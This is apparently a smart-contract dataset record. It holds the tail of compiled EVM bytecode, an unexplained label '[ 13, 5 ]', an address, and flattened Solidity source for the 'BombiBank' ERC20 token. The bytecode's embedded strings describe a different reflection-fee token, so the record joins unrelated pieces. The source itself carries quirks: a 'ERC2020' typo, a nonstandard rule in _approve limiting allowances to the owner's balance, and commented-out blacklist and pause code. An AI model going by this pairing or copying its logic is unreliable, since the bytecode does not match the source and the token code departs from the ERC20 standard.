fffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e090612ad8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c79190612bd8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133b90612b78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab90612a98565b60405180910390fd5b600081116113f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ee90612b58565b60405180910390fd5b6003600a819055506003600b8190555061140f6108f4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147d575061144d6108f4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152f57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115da5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116485750600f60179054906101000a900460ff165b156116f85760105481111561165c57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116a757600080fd5b601e426116b49190612d0e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561180f576003600a819055506003600b819055505b600061181a30610750565b9050600f60159054906101000a900460ff161580156118875750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561189f5750600f60169054906101000a900460ff165b156118c7576118ad81611aa6565b600047905060008111156118c5576118c44761193d565b5b505b505b6118d4838383611d2e565b505050565b6000838311158290611921576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119189190612a76565b60405180910390fd5b50600083856119309190612def565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61198d600284611d3e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119b8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a09600284611d3e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a34573d6000803e3d6000fd5b5050565b6000600854821115611a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7690612ab8565b60405180910390fd5b6000611a89611d88565b9050611a9e8184611d3e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ade57611add612fc4565b5b604051908082528060200260200182016040528015611b0c5781602001602082028036833780820191505090505b5090503081600081518110611b2457611b23612f95565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc657600080fd5b505afa158015611bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bfe9190612530565b81600181518110611c1257611c11612f95565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611109565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cdd959493929190612bf3565b600060405180830381600087803b158015611cf757600080fd5b505af1158015611d0b573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d39838383611db3565b505050565b6000611d8083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f7e565b905092915050565b6000806000611d95611fe1565b91509150611dac8183611d3e90919063ffffffff16565b9250505090565b600080600080600080611dc587612046565b955095509550955095509550611e2386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ae90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eb885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0481612156565b611f0e8483612213565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f6b9190612bd8565b60405180910390a3505050505050505050565b60008083118290611fc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbc9190612a76565b60405180910390fd5b5060008385611fd49190612d64565b9050809150509392505050565b60008060006008549050600069010f0cf064dd59200000905061201969010f0cf064dd59200000600854611d3e90919063ffffffff16565b8210156120395760085469010f0cf064dd59200000935093505050612042565b81819350935050505b9091565b60008060008060008060008060006120638a600a54600b5461224d565b9250925092506000612073611d88565b905060008060006120868e8787876122e3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d9565b905092915050565b60008082846121079190612d0e565b90508381101561214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612af8565b60405180910390fd5b8091505092915050565b6000612160611d88565b90506000612177828461236c90919063ffffffff16565b90506121cb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612228826008546120ae90919063ffffffff16565b600881905550612243816009546120f890919063ffffffff16565b6009819055505050565b600080600080612279606461226b888a61236c90919063ffffffff16565b611d3e90919063ffffffff16565b905060006122a36064612295888b61236c90919063ffffffff16565b611d3e90919063ffffffff16565b905060006122cc826122be858c6120ae90919063ffffffff16565b6120ae90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122fc858961236c90919063ffffffff16565b90506000612313868961236c90919063ffffffff16565b9050600061232a878961236c90919063ffffffff16565b905060006123538261234585876120ae90919063ffffffff16565b6120ae90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237f57600090506123e1565b6000828461238d9190612d95565b905082848261239c9190612d64565b146123dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d390612b18565b60405180910390fd5b809150505b92915050565b60006123fa6123f584612c8d565b612c68565b9050808382526020820190508285602086028201111561241d5761241c612ff8565b5b60005b8581101561244d57816124338882612457565b845260208401935060208301925050600181019050612420565b5050509392505050565b600081359050612466816132bc565b92915050565b60008151905061247b816132bc565b92915050565b600082601f83011261249657612495612ff3565b5b81356124a68482602086016123e7565b91505092915050565b6000813590506124be816132d3565b92915050565b6000815190506124d3816132d3565b92915050565b6000813590506124e8816132ea565b92915050565b6000815190506124fd816132ea565b92915050565b60006020828403121561251957612518613002565b5b600061252784828501612457565b91505092915050565b60006020828403121561254657612545613002565b5b60006125548482850161246c565b91505092915050565b6000806040838503121561257457612573613002565b5b600061258285828601612457565b925050602061259385828601612457565b9150509250929050565b6000806000606084860312156125b6576125b5613002565b5b60006125c486828701612457565b93505060206125d586828701612457565b92505060406125e6868287016124d9565b9150509250925092565b6000806040838503121561260757612606613002565b5b600061261585828601612457565b9250506020612626858286016124d9565b9150509250929050565b60006020828403121561264657612645613002565b5b600082013567ffffffffffffffff81111561266457612663612ffd565b5b61267084828501612481565b91505092915050565b60006020828403121561268f5761268e613002565b5b600061269d848285016124af565b91505092915050565b6000602082840312156126bc576126bb613002565b5b60006126ca848285016124c4565b91505092915050565b6000806000606084860312156126ec576126eb613002565b5b60006126fa868287016124ee565b935050602061270b868287016124ee565b925050604061271c868287016124ee565b9150509250925092565b6000612732838361273e565b60208301905092915050565b61274781612e23565b82525050565b61275681612e23565b82525050565b600061276782612cc9565b6127718185612cec565b935061277c83612cb9565b8060005b838110156127ad5781516127948882612726565b975061279f83612cdf565b925050600181019050612780565b5085935050505092915050565b6127c381612e35565b82525050565b6127d281612e78565b82525050565b60006127e382612cd4565b6127ed8185612cfd565b93506127fd818560208601612e8a565b61280681613007565b840191505092915050565b600061281e602383612cfd565b915061282982613018565b604082019050919050565b6000612841602a83612cfd565b915061284c82613067565b604082019050919050565b6000612864602283612cfd565b915061286f826130b6565b604082019050919050565b6000612887601b83612cfd565b915061289282613105565b602082019050919050565b60006128aa602183612cfd565b91506128b58261312e565b604082019050919050565b60006128cd602083612cfd565b91506128d88261317d565b602082019050919050565b60006128f0602983612cfd565b91506128fb826131a6565b604082019050919050565b6000612913602583612cfd565b915061291e826131f5565b604082019050919050565b6000612936602483612cfd565b915061294182613244565b604082019050919050565b6000612959601783612cfd565b915061296482613293565b602082019050919050565b61297881612e61565b82525050565b61298781612e6b565b82525050565b60006020820190506129a2600083018461274d565b92915050565b60006040820190506129bd600083018561274d565b6129ca602083018461274d565b9392505050565b60006040820190506129e6600083018561274d565b6129f3602083018461296f565b9392505050565b600060c082019050612a0f600083018961274d565b612a1c602083018861296f565b612a2960408301876127c9565b612a3660608301866127c9565b612a43608083018561274d565b612a5060a083018461296f565b979650505050505050565b6000602082019050612a7060008301846127ba565b92915050565b60006020820190508181036000830152612a9081846127d8565b905092915050565b60006020820190508181036000830152612ab181612811565b9050919050565b60006020820190508181036000830152612ad181612834565b9050919050565b60006020820190508181036000830152612af181612857565b9050919050565b60006020820190508181036000830152612b118161287a565b9050919050565b60006020820190508181036000830152612b318161289d565b9050919050565b60006020820190508181036000830152612b51816128c0565b9050919050565b60006020820190508181036000830152612b71816128e3565b9050919050565b60006020820190508181036000830152612b9181612906565b9050919050565b60006020820190508181036000830152612bb181612929565b9050919050565b60006020820190508181036000830152612bd18161294c565b9050919050565b6000602082019050612bed600083018461296f565b92915050565b600060a082019050612c08600083018861296f565b612c1560208301876127c9565b8181036040830152612c27818661275c565b9050612c36606083018561274d565b612c43608083018461296f565b9695505050505050565b6000602082019050612c62600083018461297e565b92915050565b6000612c72612c83565b9050612c7e8282612ebd565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca857612ca7612fc4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1982612e61565b9150612d2483612e61565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5957612d58612f37565b5b828201905092915050565b6000612d6f82612e61565b9150612d7a83612e61565b925082612d8a57612d89612f66565b5b828204905092915050565b6000612da082612e61565b9150612dab83612e61565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612de457612de3612f37565b5b828202905092915050565b6000612dfa82612e61565b9150612e0583612e61565b925082821015612e1857612e17612f37565b5b828203905092915050565b6000612e2e82612e41565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e8382612e61565b9050919050565b60005b83811015612ea8578082015181840152602081019050612e8d565b83811115612eb7576000848401525b50505050565b612ec682613007565b810181811067ffffffffffffffff82111715612ee557612ee4612fc4565b5b80604052505050565b6000612ef982612e61565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2c57612f2b612f37565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132c581612e23565b81146132d057600080fd5b50565b6132dc81612e35565b81146132e757600080fd5b50565b6132f381612e61565b81146132fe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b67aab7f73cb932e65a1b52666f576fc325cc67e32015a081c92f1918bbe70cf64736f6c63430008070033
[ 13, 5 ]
0xf1d7de4f7aee7f89a7bd905a59b99dc61d37fb72
// SPDX-License-Identifier: MIT /** ¦¦¦¦¦¦ ¦¦¦¦¦¦ ¦¦¦ ¦¦¦ ¦¦¦¦¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦¦¦ ¦¦¦¦ ¦¦ ¦¦ ¦¦ ¦¦¦¦¦¦ ¦¦ ¦¦ ¦¦ ¦¦¦¦ ¦¦ ¦¦¦¦¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦ ¦¦¦¦¦¦ ¦¦¦¦¦¦ ¦¦ ¦¦ ¦¦¦¦¦¦ ¦¦ */ pragma solidity 0.8.10; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = _msgSender(); emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BombiBankToken is Context, IERC20, IERC20Metadata, Ownable, Pausable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "BombiBank"; _symbol = "BOMBI"; _totalSupply; _mint(owner(), 1000000000000 * 10 ** (decimals()) ); } //mapping (address => bool) private _isBlackListedBot; //address[] private _blackListedBots; //function isBot(address account) public view returns (bool) { // return _isBlackListedBot[account]; //} /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { // require(!_isBlackListedBot[recipient], "You have no power here!"); // require(!_isBlackListedBot[tx.origin], "You have no power here!"); _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { // require(!_isBlackListedBot[sender], "You have no power here!"); // require(!_isBlackListedBot[recipient], "You have no power here!"); // require(!_isBlackListedBot[tx.origin], "You have no power here!"); _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } */ /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC2020: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(uint256 amount) private onlyOwner { _mint(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function burn(uint256 amount) private onlyOwner { _burn(msg.sender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require(balanceOf(owner) >= amount, "Approved amount should be greater or equal to balance amount"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } */ /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
